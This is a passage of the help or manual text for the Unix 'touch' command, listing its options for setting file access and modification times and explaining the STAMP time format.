- do not create any files
- -d, --date=STRING
- parse STRING and use it instead of current time
- -f
- (ignored)
- -m
- change only the modification time
- -r, --reference=FILE
- use this file's times instead of current time
- -t
- STAMP use [[CC]YY]MMDDhhmm[.ss] instead of current time
- --time=WORD
- access -a, atime -a, mtime -m, modify -m, use -a
- --help
- display this help and exit
- --version
- output version information and exit
STAMP may be used without -t if none of -drt, nor --, are
used. Note that the three time-date formats recognized for the -d and -t
options and for the obsolescent argument are all different.